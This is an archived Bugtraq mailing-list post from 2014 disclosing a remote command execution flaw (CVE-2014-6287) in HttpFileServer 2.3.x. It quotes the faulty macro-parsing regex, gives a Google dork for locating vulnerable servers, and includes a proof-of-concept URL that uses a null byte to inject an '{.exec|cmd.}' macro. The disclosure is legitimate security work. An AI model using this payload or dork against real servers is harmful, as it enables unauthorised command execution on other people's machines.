bugtraq - HttpFileServer 2.3.x Remote Command Execution

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <201409121013.s8CADkPh014290@sf01web3.securityfocus.com>
Date: Fri, 12 Sep 2014 10:13:46 GMT
From: danielelinguaglossa@...il.com
To: bugtraq@...urityfocus.com
Subject: HttpFileServer 2.3.x Remote Command Execution

Affected software: http://sourceforge.net/projects/hfs/
Version : 2.3x
# Exploit Title: HttpFileServer 2.3.x Remote Command Execution
# Google Dork: intext:"httpfileserver 2.3"
# Date: 11-09-2014
# Remote: Yes
# Exploit Author: Daniele Linguaglossa
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287

issue exists due to a poor regex in the file ParserLib.pas


function findMacroMarker(s:string; ofs:integer=1):integer;
begin result:=reMatch(s, '\{[.:]|[.:]\}|\|', 'm!', ofs) end;


it will not handle null byte so a request to

http://localhost:80/search=%00{.exec|cmd.}

will stop regex from parse macro , and macro will be executed and remote code injection happen.